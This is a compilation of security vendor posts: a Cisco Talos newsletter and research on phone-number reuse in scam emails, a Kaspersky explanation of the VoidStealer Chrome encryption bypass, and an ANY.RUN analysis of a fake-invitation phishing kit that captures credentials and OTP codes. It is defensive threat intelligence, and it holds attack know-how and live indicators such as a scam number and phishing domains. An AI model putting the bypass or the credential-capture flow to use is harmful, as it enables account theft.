Welcome to this week’s edition of the Threat Source newsletter.

Hey, you. Yeah, you! The person endlessly scrolling or typing away at their computer. Did you touch grass today? It’s just an expression, but if nature’s your thing, that works just fine.

What I do mean is that due to the nature of the field, cybersecurity is incredibly intangible. You can’t reach out and touch your logs, or the packets traversing your network, or the concept of DNS exfiltration… and if you tried, you’d just feel the smooth surface of your computer screen. (What a boring texture.) Spending all our time in the abstract can create some serious mental fatigue.

My point is that there’s something powerful to be said about engaging with the physical world. When we engage in a tactile hobby, we give our brains a hard reset. By moving from the abstract to the physical, our brains get the time and space to process the complex problems we’ve been staring at, often leading to the “aha!” moment that never comes when you’re trying to force it.

The other week, I was working in the Talos office with the Creative team. It was a quiet afternoon, people’s energy sapped by stomachs full of Mediterranean food. That was swiftly interrupted (in the best way) when Joe Marshall came over into our work area with his miniature painting kit, broke it open, and started teaching us how to drybrush 3D-printed figurines. Everyone immediately came alive. While I didn’t partake (I know, “Do as I say, not as I do”), it reminded me of how revitalized I feel when I get outside for a walk during lunch or spend 10 minutes knitting in silence between meetings. There’s nothing to focus on but the feel of the yarn between your fingers, the clacking of the needles, and the repetitive motions that result in a physical object you can wear and fish for compliments about.

Speaking of, do you think the vest I knit is cool? All compliments can be sent to me on LinkedIn, and I refuse to accept any negative comments. (Critiques are fine.)

Ahem… anyway. Go on a walk without your earbuds, listen to the wind through the leaves, ask a stranger to pet their dog, watch a pigeon bop its head around, and reach out to touch a cool-looking rock or the lichen on a tree. I hear you saying, “That’s some tree-hugging bullshit,” and counter you with, “Just humor me, okay? What’s the worst that could happen?”

If you’re more of an inside person, the goal might be to find a physical anchor for your technical interest. Maybe it’s building a mechanical keyboard from scratch — feeling the weight of the switches and hearing the click of the keycaps. Maybe it’s a complicated LEGO set. Even something as simple as making espresso or organizing your bookshelf can provide that sensory feedback your brain is craving.

If you’re not currently facing a life-altering deadline, take 10 minutes and try it now. The rest of the newsletter isn’t going anywhere, I promise.

When you pay attention to the noises you hear, the colors you see, and the textures under your fingertips, you might come back to your laptop refreshed, focused, and ready to solve the next problem.

The one big thing 

Cisco Talos has recently expanded our threat intelligence capabilities to track phone numbers as critical indicators of compromise (IOCs) in scam emails. Our latest research reveals that attackers heavily favor API-driven VoIP numbers to execute high-volume, cost-effective Telephone-Oriented Attack Delivery (TOAD) campaigns. To evade detection, these threat actors rotate through sequential blocks of numbers, use strategic cool-down periods, and recycle the exact same digits across completely unrelated lures and impersonated brands. 

Why do I care? 

Tracking ephemeral sender email addresses is a losing game, but phone numbers are the true operational anchors for these organized scam call centers. Because attackers reuse these numbers across multiple document types and brand impersonations, defenders who cluster this telephony infrastructure can expose the broader network of malicious activity. Understanding these reuse patterns gives defenders a much-needed edge in mapping out and dismantling these operations before users are manipulated into handing over sensitive data. 

So now what? 

Security teams should shift their focus toward clustering scam lures based on shared phone numbers and prioritize real-time reputation monitoring to flag high-risk infrastructure. Deploying an AI-powered email security solution like Cisco Secure Email Threat Defense can also help evaluate different portions of incoming emails to catch these targeted threats. A full list of indicators of compromise (IOCs) associated with these campaigns can be found in the blog.

Top security headlines of the week 

DigiCert revokes certificates after support portal hack 
The attack, the company said in a detailed report, occurred on April 2, when a threat actor targeted DigiCert’s support team with a malicious payload delivered via a customer chat channel, disguised as a screenshot. (SecurityWeek) 

Ubuntu services hit by outages after DDoS attack 
The DDoS-for-hire service in this case claims to power attacks in excess of 3.5 Tbps, which is about half of the bandwidth of a cyberattack that Cloudflare last year called the “largest DDoS attack ever recorded.” (TechCrunch) 

Canvas maker Instructure reveals data breach 
Instructure said the actors accessed “certain identifying information of users” at affected institutions, including names, email addresses, student ID numbers, and user communications. (Tech Radar) 

Exploitation of “Copy Fail” Linux vulnerability begins 
Threat actors are exploiting a recently disclosed Linux kernel vulnerability leading to root shell access, the US cybersecurity agency CISA warns. Dubbed Copy Fail, the security defect impacts all Linux distributions since 2017. (SecurityWeek) 

Student hacked Taiwan high-speed rail to trigger emergency brakes 
According to local reports, the student halted four trains for 48 minutes by using software-defined radio (SDR) communications and handheld radios to transmit a high-priority “General Alarm” signal, triggering emergency braking procedures. (BleepingComputer) 

Can’t get enough Talos? 

Tales from the Frontlines 
In this briefing, we’ll share behind-the-scenes insights from the most critical and high-impact incidents we responded to in the last quarter. This isn’t a report walkthrough; it’s a look at what really happened, how we handled it, and what it means for your organization. 

UAT-8302 and its box full of malware 
Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus APT group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025. 

CloudZ RAT potentially steals OTP messages using Pheno plugin 
Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.” 

The trust paradox: How attackers weaponize legitimate SaaS platforms 
In this episode of Talos Takes, Amy Ciminnisi sits down with researcher Diana Brown to discuss the rise of “platform-as-a-proxy” (PAP) attacks. 

Upcoming events where you can find Talos 

• PIVOTcon (May 6 – 8) Málaga, Spain 
• OffensiveCon (May 15 – 16) Berlin, Germany 
• Cisco Live U.S. (May 31 – June 4) Las Vegas, Nevada 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename: VID001.exe  
Detection Name: Win.Worm.Coinminer::1201** 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
MD5: aac3165ece2959f39ff98334618d10d9  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe  
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
Example Filename: APQ9305.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
MD5: dbd8dbecaa80795c135137d69921fdba  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
Example Filename: u112417.dat  
Detection Name: W32.Variant:MalwareXgenMisc.29d4.1201 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe  
Detection Name: Win.Dropper.Miner::95.sbx.tg** 

Cisco Talos Blog – ​Read More

Malicious actors have developed a new way to steal data stored by Chrome for Windows. Researchers discovered the technique while analyzing a fresh build of an infostealer known as VoidStealer. The new method allows the malware to bypass Chrome’s Application-Bound (App-Bound) Encryption (ABE), a mechanism intended to protect session cookies and other valuable information stored in the browser.

Google hoped this mechanism would secure the master key Chrome uses to encrypt all sensitive data. Unfortunately, this isn’t the first time malware authors have found a workaround for this defense — leaving secrets stored in Chrome vulnerable once again.

How App-Bound Encryption works in Chrome

Google introduced App-Bound Encryption in July 2024 with the release of Chrome version 127. The company’s announcement mentioned infostealers snatching cookies from Chrome users on Windows as the primary problem ABE was intended to solve. We’ve already covered in detail what these files are and the consequences of their theft, so we’ll only briefly recap the main facts here.

Cookies are small files that the browser saves to the user’s device at a website’s request to remember various site settings. Of particular value to attackers are session cookies, which are used for automatic authentication on websites. It’s thanks to these files that we don’t have to enter a username and password every time we revisit a site.

But this convenience carries a risk: stealing these files allows an attacker to use an already-authenticated session without entering a username or password. This allows them to impersonate the user, which can lead to account hijacking, theft of personal or financial data, and other adverse consequences.

Infostealer Trojans are particularly dangerous for Chrome users on Windows. This is because, on this OS, Chrome previously relied solely on the standard built-in Data Protection API (DPAPI). With this system encryption mechanism, applications don’t need to create and store encryption keys to protect data.

The limitation of DPAPI is that it doesn’t protect data from malware that’s already successfully compromised the system and is capable of executing code on behalf of the logged-in user. This is exactly what stealers exploit: since they typically run with the user’s privileges, they can simply request DPAPI to decrypt the browser’s protected data.

The ABE mechanism was designed to solve that specific problem. The core idea is right in the name: App-Bound Encryption means the encryption is tied to a specific application. To achieve this, a separate service running with system privileges is responsible for protecting the key used to encrypt Chrome’s data. It verifies which application is requesting access to the key, and denies the request if it doesn’t originate from Chrome.

As a result, the architects of this feature assumed that to access ABE-protected browser data, an infostealer would either need to escalate its privileges to system-level, or inject malicious code directly into Chrome. In theory, this should have made attacking Chrome significantly harder and reduced the effectiveness of mass-market infostealers. As you might have guessed, things didn’t go quite that smoothly in practice.

Previous successful bypasses of Chrome’s ABE

Just a couple of months after Google announced the implementation of App-Bound Encryption in Chrome, many infostealer developers claimed they’d already bypassed the protection. Among them were the creators of Meduza Stealer, Whitesnake, Lumma Stealer, and Lumar (also known as PovertyStealer).

Of course, you shouldn’t take malware developers at their word, but legitimate security researchers were able to confirm at least some of the claims. Bypasses for Google Chrome’s new data protection feature did become available almost immediately after its release.

A month later, in October 2024, tech enthusiast Alex Hagenah published a tool on GitHub called Chrome-App-Bound-Encryption-Decryption to bypass Google’s new security mechanism. Analysis of the tool’s code revealed that its author used roughly the same methods that attackers were already heavily exploiting.

What followed was a game of cat and mouse: security researchers and stealer developers came up with new tricks to circumvent App-Bound Encryption, while Google patched the newly discovered loopholes with varying degrees of success.

VoidStealer — a new data-nabbing menace

This brings us to recent events: in March 2026, news broke about a stealer named VoidStealer, which utilizes a brand-new and, by all accounts, highly effective method for bypassing ABE.

The malware authors developed an attack technique that targets the brief moment when the master key sits in the browser’s memory in plaintext. This occurs because, at a certain point, the browser inevitably has to decrypt its data to actually use it — for instance, to automatically sign in to a website with the relevant session cookie or to access saved credentials.

To exploit this window of opportunity, the malware attaches itself to the Chrome process as a debugger — a tool that allows one to control a program’s execution, pause it, and inspect its memory. In legitimate scenarios, these tools are used by developers to find and fix bugs, analyze application behavior, and test performance.

The malware identifies the specific section of code where data decryption takes place. It then sets a breakpoint at that location; when the program’s execution reaches that point, the browser effectively freezes. This is how the malware catches the exact moment the master key is sitting in RAM in plaintext; it then reads the key directly from memory.

It’s worth noting that everything mentioned above also applies to other Chromium-based browsers that use ABE, including Microsoft Edge, Brave, Opera, Vivaldi, and others.

How to avoid falling victim to infostealers

The scale of VoidStealer’s reach could be significant, as its developers operate under the malware-as-a-service (MaaS) model. This means they rent out the ready-made tool to other attackers, so they don’t need to develop custom malware from scratch.

This situation demonstrates that relying solely on built-in security mechanisms isn’t enough. Unfortunately, stealer developers are coming up with new workarounds faster than browser and operating system developers can roll out patches.

Here’s what users can do about it:

• Avoid installing programs from suspicious sources. This will minimize the chances of malware infiltrating your system.
• Learn how ClickFix attacks Lately, stealers have frequently been distributed using this specific malicious tactic.
• Keep your OS and software updated on all devices. Timely updates help patch many of the vulnerabilities that malware exploits.
• Install a robust security solution on all your devices. It’ll block suspicious activity in real time and alert you to potential threats.

As an added precaution, avoid storing passwords and bank card info in Google Chrome or your Notes app, as these are the first places any self-respecting stealer looks. Instead, use a secure password manager.

Stealers are hunting for your data, finding ways to infiltrate both computers and smartphones alike. To protect yourself from theft, check out our other related posts:

• Crypto thieves ramping up attacks on Apple users
• CrystalX RAT can flip your screen and steal your crypto
• Android Trojan posing as government services and Starlink apps
• Stealka stealer: the new face of game cheats, mods, and cracks
• Your cat pics are at risk: the threat posed by the new SparkKitty Trojan

Kaspersky official blog – ​Read More

• Cisco Talos has recently started to collect and gather intelligence around phone numbers within emails as an additional indicator of compromise (IOC). In this blog, we discuss new insights into in-the-wild phone number reuse in scam emails.  
• According to Talos’ observations, the ease of API-driven provisioning makes a few VoIP providers the preferred tool for attackers, allowing for high-volume, cost-effective scam operations that are difficult to trace. 
• Attackers maintain operational continuity by rotating through sequential blocks of phone numbers and utilizing strategic cool-down periods, with a median phone number lifespan of 14 days, to effectively evade reputation-based security filters. 
• Threat actors try to maximize their reach by recycling the same phone numbers across diverse, seemingly unrelated lures – including varied subject lines and different attachment formats like HEIC and PDF – to impersonate multiple brands simultaneously. 
• Security researchers can expose the hidden infrastructure of organized scam call centers by shifting focus from ephemeral email addresses to phone numbers, using clustering techniques to connect disparate campaigns and strengthen overall defensive postures.

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Telephone-oriented attack delivery (TOAD) continues to be a prevalent tactic in modern email threats. By shifting the communication channel from email to a real-time conversation, attackers manipulate victims into disclosing sensitive information or installing malicious software. 

Cisco Talos has expanded its threat intelligence capabilities to include phone numbers as a critical IOC. Our analysis covers a wide spectrum of line types, including wireless (cellular), landline, and Voice over Internet Protocol (VoIP). While scammers leverage all three, VoIP numbers are particularly prevalent due to their ease of acquisition and the difficulty of tracing them back to their origin. In fact, six of the ten largest campaigns we detected between February 26 and March 31, 2026 relied on VoIP infrastructure.

To better understand how these numbers are weaponized, this blog first explains the technical structure of VoIP numbers and the role of service providers in this ecosystem. We then broaden the scope to analyze reuse patterns, lifespan, and campaign characteristics across all line types. By sharing these insights, Talos aimsto strengthen our collective defensive posture against these evolving threats.

The structure of VoIP phone numbers 

Most VoIP numbers follow the E.164 international public telecommunication numbering plan. This format ensures that every number is globally unique and can be routed correctly across the Public Switched Telephone Network (PSTN). 

An E.164 number is limited to 15 digits and consists of: 

1. International Prefix (+): Indicates the number is in international format 
2. Country Code (CC): 1 to 3 digits (e.g., 1 for the US/Canada, 44 for the UK) 
3. Area Code/National Destination Code (NDC): Often referred to as the area code 
4. Subscriber Number (SN): The specific number assigned to the user or device 

The above components are shown in the example phone number below:

The VoIP ecosystem 

Voice over Internet Protocol (VoIP) has become the primary medium for scam campaigns due to its cost effectiveness, ease of deployment, and API-driven automation. Within this ecosystem, we identify two primary operational models: wholesalers and retailers. VoIP wholesalers (e.g., Virtue, Twilio, and Bandwidth) operate in a business-to-business (B2B) capacity, sitting between Tier 1 carriers (e.g., AT&T, Verizon) and smaller service providers, selling high volumes of numbers in bulk. Conversely, VoIP retailers (e.g., RingCentral) sell finished business calling and collaboration solutions directly to organizations and end users. 

VoIP providers are further categorized into communications platform as a service (CPaaS) and unified communications as a service (UCaaS). CPaaS providers offer programmable APIs that allow developers to integrate voice and messaging directly into applications. Because these platforms are designed for automation and high-volume traffic, they are frequently exploited by threat actors for rapid, API-driven number provisioning. In contrast, UCaaS providers offer comprehensive, end-user-facing communication suites. UCaaS platforms are typically designed for legitimate enterprise collaboration, and that makes them less attractive for scamemail campaigns. Talos has found Sinch (primarily a leader in CPaaS) as the most commonly abused VoIP provider, and Verizon and NUSO as the least abused providers in the studied time window.

While VoIP line types dominate the scam landscape (see Figure 2), Talos has observed that threat actors utilize wireless (cellular) and landline numbers as well. Cellular numbers are harder to provision at scale, as they typically require physical SIM cards and stricter customer verification, making them more expensive and less disposable than VoIP numbers. Nevertheless, they are still widely adopted by scammers. Figure 3 shows the distribution of wireless carriers that are used byscammers in the studied time window. Landline numbers, on the other hand, are used to project a sense of local presence or established business legitimacy. By using a landline with a specific local area code, scammers can effectively impersonate local businesses (e.g., banks, utility companies, or government offices).

Phone number reuse and lifespan in scam campaigns 

In this section, we provide insights into the lifecycle of phone numbers used in scam emails, examining how often they are reused, their typical lifespan, and how they appear across seemingly unrelated lures. Our analysis focuses on scam campaigns impersonating popular brands, including PayPal, Geek Squad (Best Buy), McAfee, and Norton LifeLock. 

Phone number reuse patterns 

Talos identified 1,652 unique phone numbers across these campaigns during the studied time window (February 26 to March 31). Of these, 57 numbers (approximately 3.4%) were reused across multiple consecutive days. The longest period of reuse observed for a single phone number was four consecutive days. 

As discussed in a previous blog post, phone numbers are reused for several strategic reasons. First, intelligence regarding phone numbers is often distributed more slowly than that of URLs or file hashes; many numbers remain under the radar of third-party reputation services for several days. Second, reuse offers logistical advantages for scam call centers, allowing them to maintain a consistent brand presence for multi-stage social engineering, callback scheduling, and persistent victim engagement. Finally, reuse minimizes operational costs, particularly for paid VoIP services. While we observed some phone numbers reused for up to four consecutive days, the most common reuse period was two consecutive days.

Lifespan analysis and cool-down periods 

Scammers do not always reuse phone numbers on consecutive days. Often, they implement a cool-down period — pausing the use of a number for a few days to evade detection — before reintroducing it into a campaign. 

Our investigation into the lifespan of these numbers revealed that 108 phone numbers (~6.5%) remained active for more than one day. As shown in Figure 4, most phone numbers have a lifespan of two to six days, though a handful remained active for nearly a month. During the study window, the median lifespan was approximately 14 days. Notably, infrastructure longevity often correlates with the impersonated brand; as illustrated in Figure 5, PayPal-themed scam campaigns utilized significantly more persistent phone numbers than those impersonating Norton LifeLock.

Phone numbers across unrelated lures 

A scam or phishing lure is typically a combination of a business context, a psychological trigger, a call-to-action, and an impersonated brand (see Table 1 for a few examples). These lures appear across various email layers, including subject lines, body content, and attachments.

Claimed business context	Psychological trigger	Call-to-action	Impersonated brand
Subscription renewal Invoice or billing statement Account security alert Order confirmation/shipping issue Technical support case Refund or overpayment notice Service cancelation confirmation Financial transaction verification	Urgency Fear/Loss aversion Confusion Relief opportunity Curiosity	Call a phone number Click a link Reply with personal details  Download/open attachment  Provide payment/banking information	PayPal  Geek Squad (Best Buy)  McAfee  Norton LifeLock

Table 1. Examples of lures that most commonly appear in scam or phishing emails.

We observed phone numbers being recycled across diverse, seemingly unrelated lures: 

• Using the same phone number across multiple lures in the subject line: In one campaign, a single phone number appeared across multiple business contexts, such as “order confirmation” and “financial transaction verification.” Figure 6 demonstrates how these subject lines differ, despite the emails containing the same phone number and impersonating the same brand.

• Using the same phone number across multiple document-based lures: In a second campaign, a single phone number was embedded in PDF attachments used for both “subscription renewal” and “financial transaction verification.”Interestingly, this campaign utilized two different brands — PayPal and Norton LifeLock — to redirect recipients to the same call center, leveraging urgency as a psychological trigger.

• Using the same phone number across multiple attachment file formats: In a third campaign, a single phone number was embedded in two different attachment formats: HEIC and JPEG. The use of HEIC (High Efficiency Image Container) — a format often used for iPhone/iPad photos — demonstrates the attackers’ efforts to bypass traditional file-based detection while maintaining high image quality. Talos has observed campaigns utilizing even more attachment types, confirming that threat actors frequently distribute a single phone number across multiple attack vectors to maximize their reach.

Phone block-level clustering 

In the context of scam emails and related smishing or callback scams, attackers utilize specific VoIP grouping and clustering techniques to bypass security filters, appear legitimate, and maintain high-volume operations. One of the most common tactics is sequential number grouping. Scammers often obtain large ranges of sequential phone numbers by purchasing Direct Inward Dialing (DID) blocks. Consequently, if a specific number is flagged as spam and blocked by a carrier, the attackers simply rotate to the next number in the block. 

The figure below shows how a block of numbers — differing only in the last four digits — is used in various scam emails impersonating PayPal between March 3 and March 6, 2026. It is also clear that certain numbers are used in larger campaigns than others; for instance, “+1 804[-]713[-]4598” was used in 117 scam emails in a single day.

In large-scale scam campaigns, phone numbers within a single sequential block are reused across multiple brand lures. The figure below shows how a range of numbers in a sequential block is deployed across three different brand lures. As with the previous case, some phone numbers are utilized in significantly larger campaign volumes than others.

Conclusion and protection 

When tracking scam campaigns, it is essential to look beyond individual sender email addresses, which are often ephemeral. Instead, it is more strategic to focus on phone numbers, which serve as the true anchors of the operation. By clustering scam lures based on shared phone numbers, security researchers can effectively map connections between seemingly unrelated campaigns, ultimately exposing the infrastructure of organized criminal call centers. 

Service providers and security teams should prioritize the implementation of real-time reputation monitoring for different communication channels to proactively mitigate these threats. For example, establishing centralized databases that track and flag high-risk phone numbers across multiple platforms allows for rapid cross-campaign correlation. Collaboration between telecommunications and VoIP providers is also vital, as sharing threat intelligence regarding malicious telephony infrastructure enables an industry-wide defense against the persistent threat of social engineering and fraud. 

Cisco Secure Email Threat Defense 

Protecting against these sophisticated and devious threats requires a comprehensive email security solution that harnesses AI-powered detections. Cisco Secure Email Threat Defense utilizes unique deep and machine learning models, including Natural Language Processing, in its advanced threat detection systems that leverage multiple engines. These simultaneously evaluate different portions of an incoming email to uncover known, emerging, and targeted threats.

Secure Email Threat Defense identifies malicious techniques used in attacks targeting your organization, derives unparalleled context for specific business risks, provides searchable threat telemetry, and categorizes threats to understand which parts of your organization are most vulnerable to attack. You can sign up for a free trial of Email Threat Defense today. 

Cisco Talos Blog – ​Read More

A new large-scale phishing campaign is targeting U.S. organizations with fake event invitations that lead to credential theft, OTP interception, or RMM tool installation.

ANY.RUN researchers found that the campaign uses a repeatable phishing framework to create event-themed lure pages at scale. Some pages steal email credentials and OTP codes, while others deliver legitimate remote management tools such as ScreenConnect, ITarian, Datto RMM, ConnectWise, and LogMeIn Rescue.

For CISOs, the risk is not just another phishing wave. It is the combination of credential theft, trusted remote access tools, and infrastructure designed to look legitimate. That mix can delay detection, stretch SOC triage, weaken response confidence, and create a path to remote access before the business fully understands what happened.

Key Takeaways

• A large-scale fake invitation phishing campaign is targeting U.S. organizations: ANY.RUN researchers found nearly 160 suspicious links related to the campaign and around 80 phishing domains.
• The campaign creates more than one access risk: Some lure pages steal email credentials and OTP codes, while others deliver legitimate RMM tools for remote management.
• The early attack flow can look routine: Victims see a CAPTCHA check and an event invitation page before the campaign moves toward credential theft or RMM delivery.
• Repeatable infrastructure gives SOC teams huntable signals: Shared URL patterns, fixed resource paths such as /Image/*.png, and requests to /favicon.ico and /blocked.html help connect related activity.
• For CISOs, the risk is delayed detection and response: One fake invitation can lead to mailbox compromise, OTP interception, or remote access before the business has clear evidence of impact.
• ANY.RUN helps CISOs strengthen phishing response readiness: SOC teams get the visibility to validate threats faster, reduce gray-zone investigations, and contain risk before it becomes account compromise or remote access.

The Phishing Blind Spot CISOs Need to Close 

Most enterprise security programs are built to catch obvious signs of compromise: known malicious domains, suspicious payloads, credential abuse, or unauthorized remote access. This campaign creates a harder problem because the early stages can look like normal user behavior.

The attack starts with a CAPTCHA check and a fake event invitation. From there, it can lead to credential theft, OTP interception, or the installation of a legitimate RMM tool. Each step may look harmless inisolation, but together they create a path to account compromise or remote access.

For CISOs, the risk is clear: if the SOC only reacts after credentials are stolen or remote access is established, the organization is already behind the attack.

The outcome can be serious: 

• Slower detection because early phishing signals look routine 
• Greater chance of unauthorized access through legitimate RMM tools
• Higher risk of credential and OTP compromise 
• More pressure on SOC teams to connect fragmented signals quickly 
• Delayed containment when domains and lure pages keep changing 
• Weaker confidence that phishing activity is being caught before business impact 

High-Exposure Sectors for This Campaign 

ANY.RUN’s Threat Intelligence shows that most analysis tasks related to this campaign came from the United States, suggesting that U.S. organizations may be the primary target.

As of April 27, nearly 160 suspicious links related to this campaign had been analyzed in ANY.RUN’s sandbox, with around 80 phishing domains identified. Most of these domains were registered underthe .de top-level domain, starting from December 2025.

TI Query: url:”/blocked.html” AND url:”/favicon.ico” and url:”/Image/*.png” 

The most affected industries include Education, Banking, Government, Technology, and Healthcare — sectors where email access, identity, and remote administration are part of everyday operations.

For CISOs in these sectors, the concern is practical: one fake invitation can lead to stolen mailbox access, intercepted OTP codes, or a remote access tool running inside the environment.

The campaign also shows signs of scale. Threat actors appear to use a single framework to mass-deploy event-themed lure sites, while some page elements suggest possible AI-assisted generation. For security teams, this means the attack surface can change quickly, but the repeatable structure creates detection opportunities. When SOC teams can catch these patterns early, they can reduce investigation uncertainty, validate threats faster, and contain phishing activity before it turns into account compromise or remote access.

How the Campaign Moves From Lure to Access 

On April 22, 2026, ANY.RUN researchers identified a phishing campaign targeting email service credentials and, in some cases, delivering remote management software. 

Fake Invitation Pages as the Entry Point 

The campaign uses fake event invitation pages as the main lure. Victims are first taken through a CAPTCHA check, most often from Cloudflare, although other providers also appear in some cases. After that, they land on a phishing page telling them they have received an invitation.

From there, the campaign can move in two directions. Some pages are built to steal credentials. Others are designed to deliver remote management tools. 

In the RMM delivery flow, the page may show a single download button or skip the button entirely and start the download automatically. In one ANY.RUN analysis session, the lure page starts the download without requiring further action from the user:

View analysis session with lure 

In another session, the page includes a download button, but the file still begins downloading automatically: 

View analysis session with download button 

Additional lure pages following the same pattern were also observed: 

View analysis session 

Check out other sandbox sessions with the fake invitation: 

• Analysis session 1 
• Analysis session 2 

ANY.RUN researchers also found signs that some pages were created using a shared phishing site toolkit, or phish kit. The code in several sessions contained instructions for the campaign operator on how to edit the page, suggesting a reusable setup for building and launching new lure sites quickly: 

• Analysis session 1 
• Analysis session 2  

The examples above represent a sample of the activity observed by ANY.RUN researchers and illustrate the common structure used in phishing pages that deliver RMM tools.

The remote management tools most often installed in these campaigns include ScreenConnect, ITarian, Datto RMM, ConnectWise, and LogMeIn Rescue.

When the goal is credential theft, the page changes, but the entry point stays the same. In this analysis session, the chain also begins with a CAPTCHA check:

Check analysis session 

After the check, the user is shown an event invitation message and prompted to sign in with one of the available services. An example of this message is shown below:

Reusable phishing infrastructure 

The credential theft pages follow a consistent structure across the phishing domains. In most cases, only the logo at the top of the page changes. 

The phishing URLs also follow a repeatable format: https://<phish-site>/<url-pattern>/<endpoint>

Domain names often include words related to events, invitations, greetings, parties, and similar themes. Examples include festiveparty.us, getceptionparty[.]de, and celebratieinvitiee[.]de, all of whichwere observed in related ANY.RUN analysis sessions:

• Analysis session with getceptionparty[.]de 
• Analysis session with celebratieinvitiee[.]de 

Another campaign marker is the way service icons are loaded on the phishing page. The icons are consistently stored under the same path: /Image/*.png 

The typical icon set includes: 

• office360.png 
  (SHA-256 887bc414bdb32b83dcfccdd3c688e90d9a87a0033e3756a840f9bdd2d65c5c74); 
• office.png 
  (SHA-256 6eaa0a448f1306bcf4159783eeafe5d37243bd8ca2728db7d90de1929241dd29); 
• yahoo.png 
  (SHA-256 4c373bc25cb71dbb75e73b61dff25aa184be8d327053a97202a6b1a5919cab0d); 
• google.png 
  (SHA-256 a838f99537d35e48e479a34086297f76db5d3363b0456f23d10d308f0d30ed82); 
• aol.png 
  (SHA-256 8e94c18bbcad0644c4b04de4356fe37da9996fdf1c99bc984ba819862a9b1889); 
• email.png 
  (SHA-256 9a53e032a6e3e79861d28568c3b6ffc97f4f3c1d3af65a703ec12966420503d9). 

Another distinctive feature of this campaign is the sequential request for the following resources: <evilsite>/favicon.ico <evilsite>/blocked.html

As a result, when a user opens the phishing link, the following request chain is always observed: 

GET /  
  ├─ GET /favicon.ico 
  ├─ GET /blocked.html 
  └─ GET /<url-pattern>/Image/*.png 

This request chain can be observed in the following ANY.RUN analysis session:

Check analysis with observed request chain 

<url-pattern> is unique for each domain, but it often follows the same naming logic and includes repeated event-related keywords.

Analysts can use this pattern to find related phishing domains in ANY.RUN’s Threat Intelligence Lookup with the following query: url:”/blocked.html” AND url:”/favicon.ico” and url:”/Image/*.png”

Credential Interception Flows 

The campaign uses two credential interception flows: one for Google accounts and another for non-Google services. The following ANY.RUN analysis session shows both flows in action:

Check analysis session with both interception flows 

Non-Google credential interception 

When the user selects any service other than Google, the phishing page opens a login window asking for an email address and password, as shown below.

After the first password entry, the page always displays an “Incorrect Password” message. This prompts the user to enter the password again, helping the attackers capture a second attempt in case the first one contained a typo.

When the user enters their credentials and clicks Login, the page sends a POST request to the same server at the /processmail.php endpoint, submitting the email address and password.

Then, an OTP code entry form appears. This form is also the same across all phishing sites used in this campaign.

When the user enters the code and clicks Submit, the page sends a POST request to the same server at the /process.php endpoint, submitting the OTP code.

After the OTP is entered, the page displays a placeholder message, as shown in the image below. At this stage, the credentials needed to access the service are already in the attacker’s hands. 

Google credential interception 

When the user selects Gmail as the login method, a different chain is observed. First, the user is redirected to a page disguised as a Google authorization form.

When the user enters their login and password, the page sends POST requests to the /pass.php and /mlog.php endpoints. 

The request to /pass.php sends the login and the request to /mlog.php sends the password: 

Then, the page sends a request to the `/check_telegram_updates.php` endpoint, with the user ID included in the request body. 

At the end of the chain, the victim is redirected to the legitimate google.com page. 

How CISOs Can Reduce the Risk Behind Fake Invitation Campaigns 

Campaigns like this are difficult because they do not create one obvious security event. The same lure can lead to credential theft, OTP interception, or remote access tool installation. For SOC teams, that means the risk is spread across several small signals that need to be connected quickly. 

To reduce exposure, security leaders need visibility earlier in the chain, before stolen credentials are used, before OTP codes are intercepted, and before a remote access tool becomes a foothold inside the environment. 

ANY.RUN brings that visibility into the full SOC investigation process. During triage, analysts can open suspicious links safely inside a cloud-based, interactive sandbox and quickly confirm whether the page leads to a fake invitation, credential form, OTP prompt, or RMM download. During behavioral analysis, they can observe network requests, credential submission endpoints, file downloads, execution behavior, and remote access activity as it happens. 

That visibility gives teams a stronger basis for response. Teams will understand what was exposed, whether access was attempted, and which containment steps are needed. With ANY.RUN Threat Intelligence, they can extend the investigation into threat hunting by finding related domains, repeated URL patterns, shared phishing infrastructure, and similar analyses across industries. 

For CISOs, this supports the outcomes that matter most: 

• Fewer gray-zone investigations where teams struggle to prove whether activity is malicious 
• Faster threat confirmation before credentials, OTP codes, or remote access are abused 
• Clearer containment decisions based on visible attack behavior, not assumptions 
• Stronger phishing coverage across both credential theft and RMM delivery paths 
• Better confidence in SOC readiness when phishing campaigns scale across domains and industries 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams detect, investigate, and respond to threats faster.

ANY.RUN solutions include Interactive Sandbox, Threat Intelligence Lookup, Threat Intelligence Feeds, and integrations for SOC workflows across SIEM, SOAR, EDR, and other security tools. Together, they help teams safely analyze suspicious links, files, and scripts, uncover phishing behavior, trace credential theft and remote access activity, and enrich investigations with real-world threat context.

